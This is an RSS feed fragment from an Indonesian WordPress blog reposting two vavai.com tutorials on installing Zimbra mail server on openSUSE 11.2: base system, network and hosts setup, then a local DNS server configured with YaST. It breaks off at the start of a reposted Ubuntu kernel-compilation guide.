<li>openSUSE secara default biasanya memberikan ukuran partisi yang besar pada /home, partisi lain untuk&nbsp; / (root) dan partisi swap. Zimbra tidak membutuhkan partisi /home karena semua data tersimpan pada folder /opt. Saran saya, buatlah 2 partisi (/ dan swap) dan gunakan sebagian besar harddisk untuk root folder atau /.&nbsp; Jika memiliki kapasitas harddisk pas-pasan atau menggunakan virtual image (VMWare, VirtualBox, Xen), gunakan partisi / minimal sebesar 10 GB. Pada prakteknya, penggunaan sistem partisi dengan RAID merupakan pilihan yang bagus sebagai mekanisme backup standar.</li>
<li>Jangan lupa tentukan setting yang tepat untuk regional setting, tanggal dan waktu server. Jika server selalu online, pertimbangkan untuk menjadikan Zimbra sebagai NTP client. Silakan baca tutorial mengenai setting NTP client pada openSUSE disini : <a href="http://vavai.com/2010/01/27/aktivasi-ntp-client-untuk-akurasi-tanggal-waktu-pada-opensuse/">Aktivasi NTP Client untuk Akurasi Tanggal &amp; Waktu pada openSUSE</a>
<div class="wp-caption alignnone" id="attachment_756" style="width:423px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-1.jpeg"><img class="size-full wp-image-756" title="zimbra-opensuse112-1" height="278" alt="zimbra-opensuse112-1" src="http://files.vavai.net/images//zimbra-opensuse112-1.jpeg" width="413" /></a></p>
<p class="wp-caption-text">Gambar 1 : Tampilan saat openSUSE memulai proses instalasi</p>
</div>
<div class="wp-caption alignnone" id="attachment_757" style="width:325px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-2.jpeg"><img class="size-full wp-image-757" title="zimbra-opensuse112-2" height="378" alt="zimbra-opensuse112-2" src="http://files.vavai.net/images//zimbra-opensuse112-2.jpeg" width="315" /></a></p>
<p class="wp-caption-text">Gambar 2 : Instalasi baru dengan menggunakan konfigurasi otomatis</p>
</div>
<div class="wp-caption alignnone" id="attachment_758" style="width:497px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-3.jpeg"><img class="size-full wp-image-758" title="zimbra-opensuse112-3" height="164" alt="Setting up Time Zone" src="http://files.vavai.net/images//zimbra-opensuse112-3.jpeg" width="487" /></a></p>
<p class="wp-caption-text">Gambar 3 : Memilih regional setting, penanggalan dan waktu serta NTP client jika diperlukan</p>
</div>
<div class="wp-caption alignnone" id="attachment_759" style="width:396px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-4.jpeg"><img class="size-full wp-image-759" title="zimbra-opensuse112-4" height="273" alt="zimbra-opensuse112-4" src="http://files.vavai.net/images//zimbra-opensuse112-4.jpeg" width="386" /></a></p>
<p class="wp-caption-text">Gambar 4 : Memilih Minimal Server (Text Mode) pada pilihan instalasi</p>
</div>
<div class="wp-caption alignnone" id="attachment_760" style="width:492px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-5.jpeg"><img class="size-full wp-image-760" title="zimbra-opensuse112-5" height="294" alt="zimbra-opensuse112-5" src="http://files.vavai.net/images//zimbra-opensuse112-5.jpeg" width="482" /></a></p>
<p class="wp-caption-text">Gambar 5 : Contoh proses edit/resize ukuran partisi</p>
</div>
<div class="wp-caption alignnone" id="attachment_761" style="width:470px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-6.jpeg"><img class="size-full wp-image-761" title="zimbra-opensuse112-6" height="329" alt="I used only 2 partition (/ and swap) and used almost full harddisk to root partition, only as testing model on my virtual image. Just adapts it with your requirement." src="http://files.vavai.net/images//zimbra-opensuse112-6.jpeg" width="460" /></a></p>
<p class="wp-caption-text">Gambar 6 : Contoh partisi yang saya gunakan</p>
</div>
<div class="wp-caption alignnone" id="attachment_762" style="width:308px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-7.jpeg"><img class="size-full wp-image-762" title="zimbra-opensuse112-7" height="376" alt="zimbra-opensuse112-7" src="http://files.vavai.net/images//zimbra-opensuse112-7.jpeg" width="298" /></a></p>
<p class="wp-caption-text">Gambar 7 : Pembuatan user standar untuk keperluan penggunaan sehari-hari</p>
</div>
<div class="wp-caption alignnone" id="attachment_763" style="width:491px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-8.jpeg"><img class="size-full wp-image-763" title="zimbra-opensuse112-8" height="529" alt="zimbra-opensuse112-8" src="http://files.vavai.net/images//zimbra-opensuse112-8.jpeg" width="481" /></a></p>
<p class="wp-caption-text">Gambar 8 : Overview proses instalasi</p>
</div>
<div class="wp-caption alignnone" id="attachment_763" style="width:575px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-9.jpeg"><img class="size-full wp-image-763" title="zimbra-opensuse112-9" height="423" alt="zimbra-opensuse112-9" src="http://files.vavai.net/images//zimbra-opensuse112-9.jpeg" width="565" /></a></p>
<p class="wp-caption-text">Gambar 9 : Konfirmasi akhir</p>
</div>
<div class="wp-caption alignnone" id="attachment_765" style="width:476px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-10.jpeg"><img class="size-full wp-image-765" title="zimbra-opensuse112-10" height="362" alt="zimbra-opensuse112-10" src="http://files.vavai.net/images//zimbra-opensuse112-10.jpeg" width="466" /></a></p>
<p class="wp-caption-text">Gambar 10 : Tampilan saat proses instalasi selesai dan masuk ke login</p>
</div>
</li>
<li>Non aktif semua repo yang tidak diperlukan, kecuali repo yang memang dibutuhkan untuk instalasi, dalam hal ini repo dalam bentuk DVD instalasi. Untuk non aktif repo yang tidak diperlukan, silakan buka&nbsp; YAST | Software | Software Repositories. Untuk menjalankan YAST pada konsole, ketik saja yast, nanti akan terbuka tampilan YAST dalam format ncurses</li>
<li>Non aktif&nbsp; firewall, sementara waktu untuk proses instalasi. Kita bisa mengaktifkannya kembali setelah proses instalasi berjalan sukses.&nbsp; Masuk ke YAST | Security &amp; Firewall | Firewall dan pilih <strong>disable the service</strong>. Jangan lupa untuk memilih pilihan <strong>&ldquo;Stop Firewall Now&rdquo;</strong>.</li>
<li>Edit IP Address, Name Server dan isian routing dan gateway agar sesuai. Masuk ke YAST | Network Device | Network Settings dan ikuti panduan pada gambar dibawah ini</li>
<li>Pilih tab <strong>Global Options</strong>. Hilangkan tanda centang pada &ldquo;Enable IPv6&amp;Prime jika tidak menggunakan service IPv6</li>
<div class="wp-caption alignnone" id="attachment_766" style="width:428px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-11.jpeg"><img class="size-full wp-image-766" title="zimbra-opensuse112-11" height="273" alt="Disable/Enable IPv6 Support" src="http://files.vavai.net/images//zimbra-opensuse112-11.jpeg" width="418" /></a></p>
<p class="wp-caption-text">Gambar 11 : Disable/Enable IPv6 Support</p>
</div>
<li>Pindah ke tab <strong>Overview</strong>. Edit dan masukkan static IP Address. isi juga subnet mask namun kosongkan isian&nbsp; host name. Format penulisan subnet mask bisa menggunakan format standar 255.255.255.0 atau format singkat :&nbsp; /24.Dalam contoh ini saya menggunakan IP address : 192.168.1.250 dan subnet mask : 255.255.255.0atau /24
</p>
<div class="wp-caption alignnone" id="attachment_767" style="width:506px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-12.jpeg"><img class="size-full wp-image-767" title="zimbra-opensuse112-12" height="188" alt="Setting UP IP Address &amp; Subnet mask" src="http://files.vavai.net/images//zimbra-opensuse112-12.jpeg" width="496" /></a></p>
<p class="wp-caption-text">Gambar 12 : Setting UP IP Address &amp; Subnet mask</p>
</div>
</li>
<li>Klik Next dan pindah ke tab <strong>Hostname &amp; DNS</strong>. Berikan nama pada hostname (contoh : mail), nama domain, Name Server 1,2 dan 3 dan juga domain search. Saya akan menggunakan Zimbra sebagai DNS Server untuk fleksibilitas, jadi format name server saya adalah sebagai berikut : name server 1 : IP Zimbra, Name Server 2 : IP DNS ISP/modem dan name server 3 diisi dengan IP DNS publik, misalnya OpenDNS atau Google DNS
</p>
<div class="wp-caption alignnone" id="attachment_769" style="width:505px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-13.jpeg"><img class="size-full wp-image-769" title="zimbra-opensuse112-13" height="320" alt="zimbra-opensuse112-13" src="http://files.vavai.net/images//zimbra-opensuse112-13.jpeg" width="495" /></a></p>
<p class="wp-caption-text">Gambar 13 : Setting Up Hostname &amp; DNS</p>
</div>
</li>
<li>Pindah ke tab <strong>Routing</strong> dan isi IP gateway/router pada isian&nbsp; <strong>Default IPv4 Gateway</strong> option.
</p>
<div class="wp-caption alignnone" id="attachment_770" style="width:499px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-14.jpeg"><img class="size-full wp-image-770" title="zimbra-opensuse112-14" height="155" alt="Setting up routing &amp; gateway" src="http://files.vavai.net/images//zimbra-opensuse112-14.jpeg" width="489" /></a></p>
<p class="wp-caption-text">Gambar 14 : Setting routing &amp; gateway</p>
</div>
</li>
<li>Click OK</li>
<li>Edit file <strong>/etc/hosts </strong>dan modifikasi agar tampilannya sbb (sesuaikan dengan IP anda):
</p>
<div class="wp-caption alignnone" id="attachment_771" style="width:465px;"><a href="http://files.vavai.net/images//zimbra-opensuse112-15.jpeg"><img class="size-full wp-image-771" title="zimbra-opensuse112-15" height="225" alt="zimbra-opensuse112-15" src="http://files.vavai.net/images//zimbra-opensuse112-15.jpeg" width="455" /></a></p>
<p class="wp-caption-text">Gambar 15 : Setting up hostname &amp; DNS</p>
</div>
</li>
</ol>
<p>Bersambung ke tutorial kedua : <strong>Installing Zimbra 5.0.21 on openSUSE 11.2 32 bit &ndash; Part 2, Setting up local DNS Server.</strong></p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/92/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=92&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-pertamafrom-vavai-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>

		<media:content url="http://vavai.com/wp-content/uploads/2010/02/zimbra-opensuse1.jpg" medium="image">
			<media:title type="html">zimbra-opensuse1</media:title>
		</media:content>

		<media:content url="http://vavai.com/wp-includes/images/smilies/icon_razz.gif" medium="image">
			<media:title type="html">:-P</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-1.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-1</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-2.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-2</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-3.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-3</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-4.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-4</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-5.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-5</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-6.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-6</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-7.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-7</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-8.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-8</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-9.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-9</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-10.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-10</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-11.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-11</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-12.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-12</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-13.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-13</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-14.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-14</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images//zimbra-opensuse112-15.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-15</media:title>
		</media:content>
	</item>
		<item>
		<title>Instalasi Zimbra 5.0.21 pada openSUSE 11.2 32 bit Bagian Kedua(vavai.com)</title>
		<link>http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-keduavavai-com/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-keduavavai-com/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 18:04:50 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-keduavavai-com/</guid>
		<description><![CDATA[Catatan : Pada saat tutorial ini dipublish, Zimbra sudah merilis Zimbra Mail Server versi 5.0.22. Secara prinsip, panduan ini tetap bisa digunakan pada Zimbra 5.0.22. Silakan sampaikan melalui komentar jika ada masalah saat implementasi Zimbra 5.0.22 pada openSUSE 11.2. Konfigurasi ini bisa diterapkan pada openSUSE 11.0, openSUSE 11.1 dan SUSE Linux Enterprise 11 dengan sedikit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=91&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p></span></p>
<div class="post">
<p><a href="http://vavai.com/wp-content/uploads/2010/02/zimbra-opensuse11.jpg"><img class="alignright size-full wp-image-624" title="zimbra-opensuse1" height="125" alt="" src="http://vavai.com/wp-content/uploads/2010/02/zimbra-opensuse11.jpg" width="125" /></a></p>
<p>Catatan : Pada saat tutorial ini dipublish, Zimbra sudah <a href="http://vavai.com/2010/02/06/rilis-zimbra-mail-server-collaboration-suite-6-0-5-dan-5-0-22/">merilis Zimbra Mail Server versi 5.0.22</a>. Secara prinsip, panduan ini tetap bisa digunakan pada Zimbra 5.0.22. Silakan sampaikan melalui komentar jika ada masalah saat implementasi Zimbra 5.0.22 pada openSUSE 11.2.</p>
<p>Konfigurasi ini bisa diterapkan pada openSUSE 11.0, openSUSE 11.1 dan SUSE Linux Enterprise 11 dengan sedikit penyesuaian tampilan.</p>
<p><span id="more-91"></span></p>
<p>Tutorial sebelumnya : <a href="http://vavai.com/2010/02/05/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-pertama/">Instalasi Zimbra 5.0.21 pada openSUSE 11.2 32 bit Bagian Pertama</a></p>
<p><strong>KONFIGURASI DNS SERVER LOKAL</strong></p>
<p>Zimbra membutuhkan A records dan MX records yang merujuk pada dirinya sendiri. Kita dapat menggunakan atau memodifikasi DNS Records yang sudah ada pada server lain untuk merujuk ke Zimbra yang sedang kita bangun namun saya lebih merekomendasikan untuk melakukan instalasi dan konfigurasi DNS Server langsung pada Zimbra Server atas pertimbangan fleksibilitas.</p>
<p>Jika saat ini sudah ada mail server yang berjalan dan kita berkeinginan untuk menggantikannya dengan Zimbra, kita tidak boleh mengubah MX records yang ada untuk langsung merujuk ke Zimbra sebelum instalasi Zimbra sendiri berjalan sukses. Jika kita mengubahnya sebelum Zimbra sukses dikonfigurasi, besar kemungkinan email yang masuk akan bouncing alias tidak dapat diteruskan. Disisi lain, Zimbra meminta MX records dan A records yang merujuk ke dirinya sebelum ia mau melakukan instalasi, sehingga solusi yang bisa diambil adalah membuat DNS Server lokal yang diperlukan hanya oleh Zimbra untuk lookup keluar.</p>
<p>Jangan salah kaprah dan bingung soal pengertian DNS Server Zimbra dengan DNS Server yang ada di ISP. Silakan baca penjelasan seputar DNS Server Zimbra ini pada artikel saya yang lain : <a href="http://vavai.com/v2/2009/12/tentang-setting-dns-pada-zimbra-mail-server/">Tentang Setting DNS pada Zimbra Mail Server</a>.</p>
<p>Setting DNS server pada openSUSE untuk keperluan Zimbra sangat mudah dilakukan menggunakan YAST. YAST memiliki keunggulan dibandingkan setting DNS menggunakan file teks atau Webmin, antara lain dalam bentuk autocomplete, auto correct dan penggunaan Wizard. Feature ini akan memastikan kita tidak mendapat masalah setting hanya gara-gara salah ketik.</p>
<p>Berikut adalah panduannya :</p>
<ol>
<li>Install paket DNS server. Klik YAST | Software | Software Management, pilih <strong>Patterns </strong>pada<strong> Filter option</strong> dan kemudian cari pattern <strong>DHCP &amp; DNS Server</strong> pada bagian <strong>Server Function</strong>. Instalasi melalui pattern jauh lebih mudah karena paketnya sudah langsung dikelompokkan. Jika lebih prefer menggunakan zypper, bisa melakukan instalasi yang sama dengan perintah : <strong>zypper in -t&nbsp; pattern dhcp_dns_server</strong>.
</p>
<div class="wp-caption alignnone" id="attachment_776" style="width:462px;"><a href="http://files.vavai.net/images/zimbra-opensuse112-16.jpeg"><img class="size-full wp-image-776" title="zimbra-opensuse112-16" height="301" alt="YAST software Management" src="http://files.vavai.net/images/zimbra-opensuse112-16.jpeg" width="452" /></a> </p>
<p class="wp-caption-text">YAST software Management</p>
</div>
</li>
<li>Tutup YAST agar paket yang terinstall masuk kedalam menu (refresh menu)</li>
<li>Buka YAST | Network Services | DNS Server</li>
<li>Klik Next pada tampilan wizard pertama : Forwarder List. Forwarder list adalah daftar DNS yang akan digunakan jika records yang dicari tidak ditemukan pada DNS Server yang kita setup. Isinya biasanya sesuai dengan isi Name Server pada konfigurasi LAN yang digunakan
</p>
<div class="wp-caption alignnone" id="attachment_777" style="width:487px;"><a href="http://files.vavai.net/images/zimbra-opensuse112-17.jpeg"><img class="size-full wp-image-777" title="zimbra-opensuse112-17" height="355" alt="DNS Server wizard : Initial Windows" src="http://files.vavai.net/images/zimbra-opensuse112-17.jpeg" width="477" /></a> </p>
<p class="wp-caption-text">DNS Server wizard : Initial Windows</p>
</div>
</li>
<li>Tambahkan Zone baru. Ketik nama domain pada&nbsp; <strong>Zone name</strong>, Pilih master pada Zone type dan kemudian klik <strong>Add</strong>
</p>
<div class="wp-caption alignnone" id="attachment_778" style="width:487px;"><a href="http://files.vavai.net/images/zimbra-opensuse112-18.jpeg"><img class="size-full wp-image-778" title="zimbra-opensuse112-18" height="359" alt="Add DNS Zone" src="http://files.vavai.net/images/zimbra-opensuse112-18.jpeg" width="477" /></a> </p>
<p class="wp-caption-text">Add DNS Zone</p>
</div>
</li>
<li>Klik Edit untuk mengisi records pada Zone domain yang baru saja kita buat<br />`<br /><a href="http://files.vavai.net/images/zimbra-opensuse112-19.jpeg"><img class="alignnone size-full wp-image-779" title="zimbra-opensuse112-19" height="361" alt="zimbra-opensuse112-19" src="http://files.vavai.net/images/zimbra-opensuse112-19.jpeg" width="473" /></a></li>
<li>Biarkan tab pertama (<strong>Basics</strong>) demikian adanya. Kita akan menggunakan setting default. Klik pada tab kedua, <strong>NS Records</strong></li>
<li>Ketik <strong>ns1</strong> pada <strong>Name Server to Add</strong> dan kemudian klik Add. YAST akan cukup cerdas untuk menggunakan fasililitas auto complete dan menuliskan records secara lengkap, berikut tanda titik dibagian akhir (dalam contoh : ns1.vavai.net.). Pada konfigurasi DNS&lt; tanda titik ini berarti dibelakang records tersebut tidak perlu ditambahkan nama domain. Untuk nama name server, ns adalah nama standar, singkatan dari name server. ns1 berarti name server 1, kita menyiapkan kemungkinan jika nantinya ada 2 server atau lebih bisa kita beri nama ns2, ns3 dan seterusnya<br />`<br /><a href="http://files.vavai.net/images/zimbra-opensuse112-20.jpeg"><img class="alignnone size-full wp-image-780" title="zimbra-opensuse112-20" height="356" alt="zimbra-opensuse112-20" src="http://files.vavai.net/images/zimbra-opensuse112-20.jpeg" width="474" /></a></li>
<li>Pindah ke tab ketiga, <strong>MX Records</strong>. Ketik nama host Zimbra pada isian <strong>Address</strong>,&nbsp; (Untuk nama host, silakan lihat tutorial pertama, atau buka YAST | Network Device | Network Setting). Berikan prioritas untuk mail server tersebut (default 0, semakin kecil berarti semakin tinggi prioritasnya)<br />`<br /><a href="http://files.vavai.net/images/zimbra-opensuse112-21.jpeg"><img class="alignnone size-full wp-image-781" title="zimbra-opensuse112-21" height="358" alt="zimbra-opensuse112-21" src="http://files.vavai.net/images/zimbra-opensuse112-21.jpeg" width="476" /></a></li>
<li>Biarkan tab ke empat (SOA) seperti adanya, kita akan menggunakan setting default</li>
<li>Pindah ke tab terakhir, yaitu tab <strong>records</strong>. Disini kita akan mendefinisikan alamat IP untuk masing-masing nama records. Ketik <strong>ns1</strong> pada isian <strong>Record key</strong>, Pilih A (Address Records) sebagai tipe records dan kemudian isi IP Address pada bagian&nbsp; <strong>records value</strong>. Karena saya menggunakan komputer yang sama sebagai name server dan Zimbra, saya mengisi IP address Zimbra pada bagian records value. Kemudian klik Add. Lakukan hal yang sama untuk identifikasi IP Address mx records.&nbsp; Ketik <strong>mail</strong> (atau nama yang ada pada bagian MX records), pilih A (Address Records) sebagai tipe records dan masukkan IP Zimbra pada <strong>records value</strong> kemudian klik Add<br />`<br /><a href="http://files.vavai.net/images/zimbra-opensuse112-22.jpeg"><img class="alignnone size-full wp-image-782" title="zimbra-opensuse112-22" height="355" alt="zimbra-opensuse112-22" src="http://files.vavai.net/images/zimbra-opensuse112-22.jpeg" width="476" /></a></li>
<li>Klik OK</li>
<li>Klik Next</li>
<li>Pilih <strong>On : Start up now and When Booting</strong> agar DNS Server langsung dijalankan saat ini dan setiap waktu booting</li>
<li>Klik Finish<br />`<br /><a href="http://files.vavai.net/images/zimbra-opensuse112-23.jpeg"><img class="alignnone size-full wp-image-783" title="zimbra-opensuse112-23" height="358" alt="zimbra-opensuse112-23" src="http://files.vavai.net/images/zimbra-opensuse112-23.jpeg" width="477" /></a></li>
<li>Testing Zimbra menggunakan perintah nslookup, contoh : nslookup ns1.domain.tld dan&nbsp; nslookup mail.domain.tld, dalam contoh saya : nslookup ns1.vavai.net dan nslookup mail.vavai.net. DNS Server akan meresponnya dengan menampilkan IP Address. respon yang benar akan menghasilkan IP Address Zimbra. Jika ada pesan kesalahan, investigasi ulang pesan kesalahannya atau diskusikan melalui bagian komentar.<br />`<br /><a href="http://files.vavai.net/images/zimbra-opensuse112-24.jpeg"><img class="alignnone size-full wp-image-784" title="zimbra-opensuse112-24" height="247" alt="zimbra-opensuse112-24" src="http://files.vavai.net/images/zimbra-opensuse112-24.jpeg" width="300" /></a></li>
</ol>
<p>Berlanjut ke tutorial Bagian 3 : Instalasi Zimbra 5.0.21 pada openSUSE 11.2 32 bit Bagian Ketiga, Instalasi paket dan library tambahan</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/91/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=91&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-keduavavai-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>

		<media:content url="http://vavai.com/wp-content/uploads/2010/02/zimbra-opensuse11.jpg" medium="image">
			<media:title type="html">zimbra-opensuse1</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-16.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-16</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-17.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-17</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-18.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-18</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-19.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-19</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-20.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-20</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-21.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-21</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-22.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-22</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-23.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-23</media:title>
		</media:content>

		<media:content url="http://files.vavai.net/images/zimbra-opensuse112-24.jpeg" medium="image">
			<media:title type="html">zimbra-opensuse112-24</media:title>
		</media:content>
	</item>
		<item>
		<title>Compile Kernel (Help Ubuntu)</title>
		<link>http://wakemeat.wordpress.com/2010/03/12/compile-kernel-help-ubuntu/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/12/compile-kernel-help-ubuntu/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 18:02:15 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/12/compile-kernel-help-ubuntu/</guid>
		<description><![CDATA[Kernel Compile Contents Disclaimer Reasons for compiling a custom kernel Reasons for NOT compiling a custom kernel Tools you&#8217;ll need Get the kernel source Modify the source for your needs Build the kernel (when source is from git repository, or from apt-get source) Alternate Build Method: The Old-Fashioned Debian Way Install the new kernel Rebuilding [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=90&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<ul id="pagelocation">
<li><a href="https://help.ubuntu.com/community/Kernel">Kernel</a></li>
<li><a class="backlink" title="Click to do a full-text search for this title" href="https://help.ubuntu.com/community/Kernel/Compile?action=fullsearch&amp;context=180&amp;value=linkto%3A%22Kernel/Compile%22" rel="nofollow">Compile<font color="#0000ff"></a></font></li>
</ul>
<p><!--3--></p>
<div lang="en" id="content" dir="ltr"><span class="anchor" id="top"></span><span class="anchor" id="line-1"></span></p>
<div>
<table style="font-size:.9em;background:rgb(241,241,237);float:right;width:40%;margin:0 0 1em 1em;">
<tbody>
<tr>
<td style="padding:.5em;">
<p class="line891">
<div class="table-of-contents">
